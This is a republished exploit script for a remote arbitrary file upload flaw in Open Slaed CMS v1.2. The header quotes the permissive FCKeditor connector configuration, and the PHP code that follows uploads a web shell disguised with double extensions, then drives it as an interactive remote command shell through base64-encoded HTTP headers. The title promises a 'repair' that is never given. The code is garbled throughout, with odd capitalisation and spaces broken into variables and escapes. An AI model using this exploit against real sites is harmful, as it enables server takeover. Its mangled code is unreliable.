Open Slaed CMS v1.2 Remote Arbitrary File Upload Vulnerability and repair

<? Php
/*
 
Vendor: www.slaed.net
Download: http://www.slaed.net/uploads/files/public/open_slaed.zip
Exploited by...: eidelweiss
Affected: Version 1.2 (Other or lowers version may also be affected)
Greetz: yogyacarderlink Team, devilzc0de Team, Nofia Fitri (unyu²), whitehat, petimati, psycothic_girl, viska agasi, www.2cto.com, note, etc
Details...: works with an Apache server with the mod_mime module installed (if specific)

[-] Vulnerable code in path/html/modules/fckeditor/editor/filemanager/connectors/php/config. php

[*] // SECURITY: You must explicitly enable this "connector". (Set it to "true ").
[*]
[*] $ Config ['enabled'] = true;
[*]
[*] // Path to user files relative to the document root.
[*] $ Config ['userfilespath'] = '/uploads/all /';
[*]
[*] // Fill the following value it you prefer to specify the absolute path for
[*] // User files directory. Usefull if you are using a virtual directory, symbolic
[*] // Link or alias. Examples: 'C: \ MySite \ UserFiles \ 'or'/root/mysite/UserFiles /'.
[*] // Attention: The above 'userfilespath 'must point to the same directory.
[*]
[*]
[*] $ Config ['allowedextension'] ['file'] = array ('7z', 'aiff ', 'asf', 'av', 'bmp ', 'csv', 'Doc', 'fla', 'flv', 'gif', 'gz ', [...]
[*] $ Config ['deniedextension'] ['file'] = array ();
[*]
[*] $ Config ['allowedextensions '] ['image'] = array ('bmp', 'gif', 'jpeg ', 'jpg', 'png ');
[*] $ Config ['deniedextension'] ['image'] = array ();
[*]
[*] $ Config ['allowdextension'] ['flash'] = array ('swf ', 'flv ');
[*] $ Config ['deniedextension'] ['flash'] = array ();
[*]
[*] $ Config ['allowedextension'] ['media'] = array ('aiff ', 'asf', 'av', 'bmp', 'fla ', 'flv', 'gif', 'jpeg ', 'jpg', 'mid ', 'mov', 'mp3', 'mp4', 'mpc', 'mpeg ', 'mpg', 'png ', 'qt', 'ram ', 'rm', 'rmi ', 'rmvb', 'swf ', 'tif', 'tiff ', 'wav ', 'wmma', 'wmmv ');
[*] $ Config ['deniedextension'] ['Media '] = array ();

With a default configuration of this script, an attacker might be able to upload arbitrary
Files containing malicious PHP code due to multiple file extensions isn't properly checked
*/
 
*/
Error_reporting (0 );
Set_time_limit (0 );
Ini_set ("default_socket_timeout", 5 );
Function http_send ($ host, $ packet)
{
$ Sock = fsockopen ($ host, 80 );
While (! $ Sock)
{
Print "\ n [-] No response from {$ host}: 80 Trying again ...";
$ Sock = fsockopen ($ host, 80 );
}
Fputs ($ sock, $ packet );
While (! Feof ($ sock) $ resp. = fread ($ sock, 1024 );
Fclose ($ sock );
Return $ resp;
}
Function upload ()
{
Global $ host, $ path;

$ Connector = "/modules/fckeditor/editor/filemanager/connectors/php/config. php ";
$ File_ext = array ("zip", "jpg", "fla", "doc", "xls", "rtf", "csv ");

Foreach ($ file_ext as $ ext)
{
Print "\ n [-] Trying to upload with. {$ ext} extension ...";

$ Data = "-- abcdef \ r \ n ";
$ Data. = "Content-Disposition: form-data; name = \" NewFile \ "; filename = \" 0k. php. {$ ext} \ "\ r \ n ";
$ Data. = "Content-Type: application/octet-stream \ r \ n ";
$ Data. = "<? Php \ $ {print (_ code _)}. \ $ {passthru (base64_decode (\ $ _ SERVER [HTTP_CMD])}. \{ {print (_ code _)}?> \ R \ n ";
$ Data. = "-- abcdef -- \ r \ n ";

$ Packet = "POST {$ path} {$ connector }? Command = FileUpload & CurrentFolder = {$ path} HTTP/1.0 \ r \ n ";
$ Packet. = "Host: {$ host} \ r \ n ";
$ Packet. = "Content-Length:". strlen ($ data). "\ r \ n ";
$ Packet. = "Content-Type: multipart/form-data; boundary = abcdef \ r \ n ";
$ Packet. = "Connection: close \ r \ n ";
$ Packet. = $ data;

Preg_match ("/OnUploadCompleted \ (. *), '(. *)' \)/I", http_send ($ host, $ packet), $ html );

If (! In_array (intval ($ html [1]), array (0,201) die ("\ n [-] Upload failed! (Error {$ html [1] }:{$ html [2]}) \ n ");

$ Packet = "GET {$ path} 0k. php. {$ ext} HTTP/1.0 \ r \ n ";
$ Packet. = "Host: {$ host} \ r \ n ";
$ Packet. = "Connection: close \ r \ n ";
$ Html = http_send ($ host, $ packet );

If (! Eregi ("print", $ html) and eregi ("_ code _", $ html) return $ ext;

Sleep (1 );
}

Return false;
}
Print "\ n + ----------------------------------------------------------------------------- + ";
Print "\ n | Open Slaed CMS v1.2 Remote Arbitrary File Upload Exploit by eidelweiss | ";
Print "\ n + ----------------------------------------------------------------------------- + \ n ";
If ($ argc <3)
{
Print "\ nUsage...: php $ argv [0] host path \ n ";
Print "\ nExample...: php $ argv [0] localhost /";
Print "\ nExample...: php $ argv [0] localhost/html/\ n ";
Die ();
}
$ Host = $ argv [1];
$ Path = $ argv [2];
If (! ($ Ext = upload () die ("\ n [-] Exploit failed... \ n ");
Else print "\ n [-] Shell uploaded... starting it! \ N ";
Define (STDIN, fopen ("php: // stdin", "r "));
While (1)
{
Print "\ Slaed-shell #";
$ Cmd = trim (fgets (STDIN ));
If ($ cmd! = "Exit ")
{
$ Packet = "GET {$ path} 0k. php. {$ ext} HTTP/1.0 \ r \ n ";
$ Packet. = "Host: {$ host} \ r \ n ";
$ Packet. = "Cmd:". base64_encode ($ cmd). "\ r \ n ";
$ Packet. = "Connection: close \ r \ n ";
$ Html = http_send ($ host, $ packet );
If (! Eregi ("_ code _", $ html) die ("\ n [-] Exploit failed... \ n ");
$ Shell = explode ("_ code _", $ html );
Print "\ n {$ shell [1]}";
}
Else break;
}
?>